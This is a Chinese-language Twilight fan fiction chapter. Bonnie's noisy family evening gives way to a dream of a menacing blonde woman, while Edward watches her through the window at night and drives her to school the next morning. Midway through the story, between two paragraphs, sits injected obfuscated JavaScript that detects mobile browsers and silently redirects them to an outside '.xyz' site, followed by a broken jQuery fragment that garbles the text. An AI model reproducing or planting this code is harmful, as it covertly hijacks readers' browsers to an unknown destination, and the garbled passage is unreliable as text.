回到家门那一刻,邦妮第一反应不是“终于自由了”,而是“我要是晚五分钟回来,说不定就只能吃上爸妈的双人脱口秀”。
果然,她刚推门进屋,客厅那头立刻响起一连串语速对不上频道的对话声。
“我说了啊,这遥控器明明是放在沙发靠背上的,是你看完新闻随手扔哪儿了!”
“我看完新闻?亲爱的你是不是昨晚梦见我转行当体育主播了?你才是那个看棒球看到凌晨两点的人!”
她把外套一扔,稳稳接住飞过来的抱枕:“哇哦,两位评委今晚是要上演‘记忆错乱大作战’吗?”
“邦妮!”她妈探出头,脸上还残留着刚刚咬牙斗嘴的微妙笑意,“你怎么这么晚回来?今天不是短课吗?”
“在图书馆给安吉拉帮了点忙。”她顺口回答,换鞋动作一气呵成,“顺便蹭了个车回来。”
“蹭车?”她爸立刻从厨房探头,“哪个男生?”
“爱德华·卡伦,”她边说边往厨房走,“福克斯最近话题中心的那一家。”
她爸吹了个低哨,像刚猜中超级碗比分一样神气:“啊,就是那个开沃尔沃的小伙子?”
“你能记住车名却记不住我小学老师的名字,真是家族特色。”她翻了个白眼。
晚饭是她爸亲手做的鸡肉卷饼,不出所料,一如既往地酱汁太多、蔬菜太生、却因为分量十足而获得全家公认的“能吃饱奖”。
饭桌上他们照例一边互相吐槽对方口味奇葩,一边互喂对方切得不够规整的水果——像是一对熟年夫妻在演甜蜜版角斗场。
邦妮坐在桌边,嘴里咬着一根扭扭乐,听着他们拌嘴,嘴角勾着一点点,像是忘了收的笑。
这种夜晚并不常有,或者说,她并不是每天都觉得需要被这种“家的声音”包围。
但在外面经历了“被全校学生的眼神翻来覆去扫描”之后,这种吵吵闹闹反倒像消毒剂,带点刺鼻,却让人安心。
洗完澡,她躺回床上时,整个人沉进了那团有点凉、有点硬的棉被堆里。
屋外下起了点雨。
是福克斯那种典型的夜雨,不大不小,落在屋檐上像猫轻踩键盘,啪嗒啪嗒。
她翻了个身,把灯关了,房间顿时黑成一整块墨。
可她没能立刻睡着。
她不是那种“头一贴枕头就能入眠”的人,尤其是在今天这种被视线围观了一整天、神经绷得像弹簧的日子里。
她闭着眼,却能感觉到某种……微妙的粘稠感。
像是空气被一层无形的糖浆裹住,有某种视线沿着这层糖浆缓慢地、固执地、精准地贴上来。
她眉头动了一下。
这感觉她经历过。
那种背后似乎有谁站着、转头却又什么都没有的感觉。
不是恐怖片里的那种惊悚,而是……神经细胞被不动声色地挑起来,像有根细丝从皮肤悄悄穿过,直直拉住心脏。
她下意识拉了拉被子,把头埋进枕头里。
房间里一片死寂。
在她窗外,那棵高高的老橡树上,一个熟悉的影子一动不动地伏在枝桠之间。
雨落在他肩上,顺着衣角滑进树皮的纹理;他的琥珀色眼睛在黑夜中一点都不发亮,反而比夜还深。
他没呼吸,也没动作,像一块完美雕刻过的石雕。
只除了——
他的视线,从未离开房间的那扇小窗里,蜷在被子里的小小身影。
她是他夜晚唯一的兴趣。
他已经很久没弹琴了,也不读书,不翻德彪西的旧谱,不练拉丁语发音,不开阿斯顿·马丁,也不看天文星图。
他只是……看她。
他能听到她的呼吸,节奏从有点烦躁慢慢变平稳,然后呼吸声变轻了,浅了,她终于睡着。
而他,仿佛也获得了某种意料之外的沉静。
可邦妮并没有睡得很深。
她的梦从来不配合她的意志。
她梦见自己站在陌生的街头,天是青灰色的,建筑都是不完整的轮廓,像铅笔画到一半停下的素描。
风从她背后吹过来,她回头。
那个女人又出现了。
还是金发。不是柔和的金,是刺眼的、像刀尖闪着光的冷金。
她穿一件过分贴身的黑色连衣裙,头发被风吹得在耳后扬起,脸却几乎全被阴影盖住,看不清五官。
但她笑了。
是那种让人起鸡皮疙瘩的笑。
像知道你所有秘密、却不急着戳破的那种笑。
“你不该在这里。”女人开口,声音轻飘飘的,却清晰得像贴在她耳边说话。
“你是谁?”邦妮问,可一开口,自己声音像被压在水底。
女人没答,只慢慢伸出手,指尖在空中勾了一下——动作像是在对她打招呼,又像是在召唤她过去。
邦妮一步也没动,脚像被什么冻住了。
然后她眼前一花,整片梦境像照片一样突然褪色、燃烧、崩解。
她猛地从床上坐起来,浑身湿热。
呼吸还没回稳,天已经亮了。
而窗外那棵橡树上,早已空空如也。
连一滴雨水都没留下。
但福克斯镇的屋顶还披着昨夜残留的雨雾。
冷风穿过松林,从后院的树枝一路卷到前廊,带着一丝潮湿的木头味。邦妮家的屋檐上还挂着几颗雨珠,晶亮得像没卸妆时流下的泪。
邦妮正站在浴室镜子前,一边把头发从毛巾里拧干,一边用眼角余光盯着窗外那片灰得发青的天色。
“天杀的福克斯早晨。”她咕哝了一句,把毛巾一甩,“就没有一次是阳光配早餐的吗?”
她穿上厚卫衣,背包一拎,刚准备下楼,就听见楼下客厅有人轻轻清嗓。
“亲爱的,我觉得你该看看窗外。”她妈的声音传来,带着一点按捺不住的八卦口吻。
邦妮皱眉,走到楼梯口往下一看。
她爸正扒着百叶窗一条缝,像侦探片里偷窥邻居的退休老头子,“邦妮,沃尔沃小子来接你了。”
她下楼的脚步顿了一下。
推开门那一瞬,冷风扑了个满怀。
银色的沃尔沃停在车道边,车身在清晨薄光里反射出柔和的亮,像块刚擦过的铝。
爱德华靠在车门边,穿着那件标志性的深灰色夹克,肩膀宽窄适中,站姿笔直得像是海报印刷出来的模特样板。
他的眼睛——那种淡金琥珀色,在雾里不闪却更深,像刚打湿的蜂蜜。
他一看到她,嘴角动了一下,像是笑,但分贝低得几乎只有空气知道。
“你今天有点晚。”他说,声音还是那样好听得有点可恨。
邦妮站在门口,抱着背包不动,“你怎么知道我几点出门的?”
“我猜的。”他回得理直气壮。
“你猜得也太精准。”
“我练习过。”他眼神不动,脸也不红。
她翻个白眼,没再说什么,直接下了台阶,“以后你都打算这样?”
“如果你不介意。”他说着走到副驾驶一侧,自然地替她拉开车门。
她犹豫了一下,然后钻进车里。
“……你确定这不算骚扰?”
“如果是,我会改进成体贴。”他说着关上车门,从另一侧绕过来。
车门在她身侧“咔哒”一声关好,轻柔得像是刚刚合上一本密封的日记本。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440325|168748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沃尔沃的内部空间干净到几乎没有人类痕迹,冷气里带着一点淡淡的松木味,像他本人那样的味道——干净、静默、但意外地有侵略性,像一柄掩在绒布下的匕首。
邦妮扣上安全带,目光投向前挡风玻璃:“你是不是昨晚就开着车堵我家门口了?”
爱德华坐进驾驶座,侧头看她一眼,那双琥珀色的眼睛在晨光里像抹了层昏金的蜜,“不,我是天亮前才来的。”
“你这么说反而更诡异了。”她靠向车窗,怀疑自己是不是该考虑申请禁足令。
但说完这句话,她忍不住偏头打量他。
他今天似乎特意换了套衣服,夹克和衬衫像是刚从熨斗下拿出来那种笔挺,发梢没有打湿,眉骨下没有疲倦的褶痕。也对,他又不睡觉。
“你干嘛对我的上学路线这么……热情?”她终于问出口,语气半是挑衅半是防御。
“我答应过你不会再闯进你生活。”他说,语气不紧不慢,“但我没答应不在你的生活边上等。”
这句话说得太顺了,顺得让人一瞬间忘了他其实是个不折不扣、冷脸金眼、极有可能一拳能把熊打飞的吸血鬼。
邦妮沉默了两秒,仿佛在咀嚼这句台词的口感:“你以前当过情诗作者吧?”
“不是。”他认真回她,“但我有阅读莎士比亚的习惯。”
“太好了,”她把头歪在靠背上,“我正缺个随身的复古文学播放器。”
车子驶出她家街口,转进通往学校的那条常规路线时,天边云层像被撕了一条缝,有点淡淡的光从后方洒下来。
“你爸妈昨晚有吵架吗?”他忽然问。
她瞥他一眼:“你怎么知道?”
“你脸上的神色有点像个参加完战地新闻发布会的记者。”他说得毫无情绪波动。
“……你现在是试图走温情路线?”她打量他,“还是在朝‘了解你的家人是了解你的第一步’方向滑行?”
“我只是关心。”他说,“这是我对你的天赋之一。”
“别告诉我你还有‘情感顾问’证书。”
“没有证书。”他微笑,“但我听了很多年夜间谈心。”
她被噎了一下,靠回座椅,不说话了。
车窗外的景色缓缓后退,远处的福克斯高中已经隐约可见,一排屋顶在雨后雾气中反着微光。
他轻声开口:“你今天梦到了什么?”
她回头看他一眼:“你怎么知道我做梦了?”
“你今早眼神比平时更……混。”他说,像是在诊断某种生物状态,“好像还没从梦里完全回来。”
她没答话,反而低头扣了扣指尖。
是的,她梦见了那个金发的女人。又一次,黑衣、笑容、模糊不清的脸,甚至说了话。但她没告诉他。
她感觉直觉已经在疯狂拉警报——这件事不能说。
说出口就像是把一块未干的油画用水冲洗,色块四散,轮廓溃散。
她要等,再观察一段时间。谁知道那女人会不会下一次递她一张名片,还是直接开门进来泡茶。
“梦的事我不想讲。”她抬头,“而你最好也别再问。”
爱德华没再追问,只是把车慢慢停进学校停车场最隐蔽的一角,熄火后沉默了一秒。
她打开门前,他轻声:“如果梦境让你害怕,我愿意……帮你睡得更安稳。”
这句话听着不算越界,却让她后颈起了一层细微的凉意。
她侧头盯他几秒:“你是说帮我做梦?还是帮我——入睡?”
他没答,只是像某种毫无威胁的古老生物一样微笑。
邦妮关上车门,背起包走向教学楼,只在心底默默骂了一句:妈的,这吸血鬼也太会钓人了。